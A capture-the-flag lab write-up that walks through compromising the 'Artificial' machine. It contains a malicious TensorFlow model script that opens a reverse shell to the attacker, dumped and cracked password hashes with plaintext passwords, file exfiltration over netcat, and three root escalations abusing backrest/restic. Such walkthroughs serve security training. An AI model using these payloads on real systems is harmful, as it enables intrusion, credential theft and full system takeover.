IP Address: 10.10.11.74
Key Exploitation Techniques:
- TensorFlow Remote Code Execution (RCE) via malicious model loading (Python
Lambdalayers) - SQLite database credential discovery and cracking
backrestservice abuse for root privilege escalation via backup restoration,RESTIC_PASSWORD_COMMAND, orrestic dumpcommand
Enumeration#
$ nmap -p- --min-rate 10000 10.10.11.74
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ nmap -p 22,80 -sC -sV 10.10.11.74
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
An Nmap scan identified SSH (22/tcp) and HTTP (80/tcp) services.
The HTTP title “Did not follow redirect to http://artificial.htb/” indicated that artificial.htb was the intended hostname. This was added to /etc/hosts.
Update /etc/hosts:
$ echo -e '10.10.11.74\tartificial.htb' | sudo tee -a /etc/hosts
The website appeared to be a platform for AI solutions.
Exploitation#
Initial Access (app)#

Anonymous user registration was allowed on the web application. After registering and logging in, a file upload page was accessible. This page provided requirement.txt and Dockerfile files, hinting at the backend environment.
$ cat requirements.txt
tensorflow-cpu==2.13.1
$ cat Dockerfile
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
The Dockerfile revealed the use of tensorflow-cpu-2.13.1. This version of TensorFlow has a known Remote Code Execution (RCE) vulnerability related to arbitrary code execution during model loading, specifically through Python Lambda layers.
To exploit this, a malicious TensorFlow model was crafted. It used a tf.keras.layers.Lambda layer to embed an os.system call, executing a reverse shell command when the model is loaded. The Dockerfile provided the exact environment, making it crucial to build a local Docker image for consistent exploit development.
The malicious model (exploit.h5) was created using a Python script, embedding a Netcat reverse shell payload.
$ cat exploit.py
# exploit_model.py
import tensorflow as tf
def exploit(x):
import os
os.system("bash -c \"sh -i >& /dev/tcp/10.10.16.17/1234 0>&1\"")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5") # This is the malicious model file
$ sudo docker build --no-cache -t my-tf-image .
$ sudo docker run --rm -it -v $(pwd):/code my-tf-image
root@0b97045fa64f:/code# python3 exploit.py
root@0b97045fa64f:/code# ls
Dockerfile exploit.h5 exploit.py myenv requirements.txt
After generating exploit.h5, a Netcat listener was started on the attacker machine. The exploit.h5 file was then uploaded to the web application’s upload page. Clicking “View Predictions” on the web interface triggered the model loading, resulting in a reverse shell.
# Attacker machine: Netcat listener
$ nc -nlvp 1234
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.74] 40102
sh: 0: can't access tty; job control turned off
$ whoami
app
A shell was obtained as app.
Privilege Escalation#
User Privilege Escalation (gael)#
Spawned an interactive shell using python3.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
app@artificial:~/app$
Further enumeration on the compromised system revealed a users.db SQLite database file in /app/instance. This database contained user credentials.
app@artificial:~/app$ ls instance
users.db
app@artificial:~/app$ file instance/users.db
instance/users.db: SQLite 3.x database, last written using SQLite version 3031001
app@artificial:~/app$ sqlite3 instance/users.db
sqlite> .tables
model user
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|shiro|shiro@artificial.htb|f93fc10472a31bb3061aa0b45e228c5a
The hash for user gael (c99175974b6e192936d97224638a34f8) was extracted and saved to hash.txt. hashcat was used with rockyou.txt to crack it.
$ cat hash.txt
c99175974b6e192936d97224638a34f8
$ hashcat --identify hash.txt
...
0 | MD5 | Raw Hash
$ hashcat -a 0 -m 0 hash.txt --wordlist /usr/share/wordlists/rockyou.txt
c99175974b6e192936d97224638a34f8:mattp005numbertwo
Password for gael: mattp005numbertwo. This allowed SSH login as gael.
$ ssh gael@artificial.htb
gael@artificial.htb's password: mattp005numbertwo
gael@artificial:~$ cat user.txt
<redacted>
Root Privilege Escalation#
Method 1: Backrest Backup Restoration#
Enumeration within /var/backups revealed a large backup file named backrest_backup.tar.gz and confirmed gael’s membership in the sysadm group, which had read permissions on the file.
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
app@artificial:~/app$ ls -la /var/backups
-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 backrest_backup.tar.gz
The backrest_backup.tar.gz file was transferred to the attacker machine.
# On attacker machine, set up a netcat listener to receive the base64-encoded file. Then, immediately decode it.
$ nc -nlvp 9001 > backrest_backup.tar.gz.b64 && base64 -d backrest_backup.tar.gz.b64 > backrest_backup.tar.gz
listening on [any] 9001 ...
# On target machine, send the file in base64 format
gael@artificial:~$ cd /var/backups/
gael@artificial:/var/backups$ base64 backrest_backup.tar.gz | nc 10.10.16.17 9001 -q 0
The backup archive was extracted.
$ tar -xf backrest_backup.tar.gz
Inside the backup, the path backrest/.config/backrest/config.json was found, containing a password hash for user backrest_root.
$ cat backrest/.config/backrest/config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
The passwordBcrypt field contained a Base64-encoded bcrypt hash. It was first decoded and then cracked using hashcat.
$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d > root_hash.txt
$ hashcat --identify root_hash.txt
...
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
$ hashcat -a 0 -m 3200 root_hash.txt --wordlist /usr/share/wordlists/rockyou.txt
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
The password for backrest_root was !@#$%^.
Further enumeration on the target showed a service listening on localhost port 9898, identified as backrest.
gael@artificial:/var/backups$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
...
The internal port 9898 was forwarded to the attacker machine via SSH for access.
# Attacker machine: SSH local port forward
$ ssh gael@10.10.11.74 -L 9898:127.0.0.1:9898
The backrest service running on port 9898 was a rest-server instance, providing a web interface for managing backups. Its help output indicated it uses restic as the underlying binary.
gael@artificial:/var/backups$ backrest -h
Usage of backrest:
-bind-address string
address to bind to, defaults to 127.0.0.1:9898. Use :9898 to listen on all interfaces. Overrides BACKREST_PORT environment variable.
-config-file string
path to config file, defaults to XDG_CONFIG_HOME/backrest/config.json. Overrides BACKREST_CONFIG environment variable.
-data-dir string
path to data directory, defaults to XDG_DATA_HOME/.local/backrest. Overrides BACKREST_DATA environment variable.
-install-deps-only
install dependencies and exit
-restic-cmd string
path to restic binary, defaults to a backrest managed version of restic. Overrides BACKREST_RESTIC_COMMAND environment variable.
gael@artificial:/var/backups$ which backrest
/usr/local/bin/backrest
The backrest service typically uses restic for backups. The restic binary has a root command execution technique listed on GTFOBins.
A rest-server (downloaded from GitHub) was set up on the attacker machine to serve as a remote repository.
# Attacker machine: Start rest-server
$ chmod +x rest-server
$ ./rest-server --path /tmp/restic-data --listen :12345 --no-auth
Data directory: /tmp/restic-data
Authentication disabled
Append only mode disabled
Private repositories disabled
Group accessible repos disabled
start server on [::]:12345
The backrest_root credentials (backrest_root:!@#$%^) were used to log into the internal backrest web dashboard.


A new restic repository was configured, and commands were run via the “Run Command” button on the dashboard. This action, when performed by the root user on the target (as the backrest service likely runs as root), implies restic has root privileges.
Specifically, the /root directory was backed up to the attacker-controlled rest-server.
# on the created restic repository --> click on run command button
# init repo
-r rest:http://10.10.16.17:12345/test init
# backup /root to our server
-r rest:http://10.10.16.17:12345/test backup /root

# rest-server log
Creating repository directories in /tmp/restic-data/test
After the backup completed, the snapshot was viewed locally on the attacker machine.
$ restic -r /tmp/restic-data/test snapshots
enter password for repository: password
repository e75b457c opened (version 2, compression level auto)
created new cache in /home/shiro/.cache/restic
ID Time Host Tags Paths Size
-----------------------------------------------------------------------
e514b74a 2025-07-14 17:41:15 artificial /root 4.299 MiB
-----------------------------------------------------------------------
1 snapshots
The snapshot was then restored to a local directory (./restore) on the attacker machine.
# Attacker machine: Restore snapshot
$ restic -r /tmp/restic-data/test restore e514b74a --target ./restore
enter password for repository: password
repository e75b457c opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
restoring snapshot e514b74a of [/root] at 2025-07-14 09:41:15.202609069 +0000 UTC by root@artificial to ./restore
Summary: Restored 80 files/dirs (4.299 MiB) in 0:00
Navigating to the restored /root directory revealed root.txt.
# Attacker machine: Access restored root folder
$ ls -al ./restore/root
total 36
drwx------ 6 shiro shiro 4096 Jul 14 13:18 .
drwx------ 3 shiro shiro 4096 Jul 14 23:51 ..
lrwxrwxrwx 1 shiro shiro 9 Jun 9 17:37 .bash_history -> /dev/null
-rw-r--r-- 1 shiro shiro 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 shiro shiro 4096 Mar 4 05:52 .cache
drwxr-xr-x 3 shiro shiro 4096 Oct 19 2024 .local
-rw-r--r-- 1 shiro shiro 161 Dec 5 2019 .profile
lrwxrwxrwx 1 shiro shiro 9 Oct 19 2024 .python_history -> /dev/null
drwx------ 2 shiro shiro 4096 Mar 5 06:40 .ssh
-rw-r----- 1 shiro shiro 33 Jul 14 13:18 root.txt
drwxr-xr-x 2 shiro shiro 4096 Jun 9 21:57 scripts
The root.txt flag was retrieved. Alternatively, the SSH private key for root (e.g., id_rsa in restore/root/.ssh) could be used to log in directly as root.
# Attacker machine: SSH as root using restored key
$ ssh -i ./restore/root/.ssh/id_rsa root@artificial.htb
root@artificial:~# cat root.txt
<redacted>
Method 2: Backrest SUID bash through RESTIC_PASSWORD_COMMAND#
This method leverages the backrest service’s ability to execute commands via environment variables, specifically RESTIC_PASSWORD_COMMAND. This command is executed with elevated privileges by restic when a password is required for a repository, allowing root access.
On the backrest dashboard, a new repository was created with RESTIC_PASSWORD_COMMAND set to a command that would grant bash SUID privileges. This action typically involves setting environment variables when defining a repository in the backrest interface.
The environment variable RESTIC_PASSWORD_COMMAND=/bin/chmod +s /bin/bash was used. This command makes /bin/bash a SUID executable, allowing any user to execute bash with root privileges. The flags --insecure-no-password -restic-cmd are typically set to disable password prompts for restic and allow direct command execution via restic-cmd.
After a restic command that would trigger a password prompt (e.g., restic init) was executed on the dashboard, the chmod command was run as root.

# On target machine, after successful SUID permission set
gael@artificial:/var/backups$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
With /bin/bash now SUID, the gael user could directly execute bash -p to get a root shell.
gael@artificial:~$ bash -p
bash-5.0# whoami
root
Method 3: Arbitrary Read via Backrest dump Command#
This method directly utilizes the backrest dashboard’s “Run Command” feature to read arbitrary files from the target system, provided restic (underlying binary for backrest) has read permissions to the file. This bypasses the need for an external rest-server.
Log into the internal backrest web dashboard (http://127.0.0.1:9898 via SSH tunnel) using backrest_root:!@#$%^.
First, create a new local restic repository on the target’s filesystem via the web interface’s “Run Command” feature. Use this feature to execute a backup of the desired sensitive file (e.g., /root/.ssh/id_rsa). This stores the file as a local restic snapshot within the newly created repository.
backup /root/.ssh/id_rsa
# Ouput example
ID Time Host Tags Paths Size
-----------------------------------------------------------------------
<snapshot_id> 2025-07-14 17:45:00 artificial /root/.ssh/id_rsa 0.003 MiB
-----------------------------------------------------------------------

Next, use the dump command with the snapshot ID to read the content of the file directly, which will be displayed in the dashboard’s output.
# Dump the content of the file from the snapshot
dump <snapshot_id> /root/.ssh/id_rsa
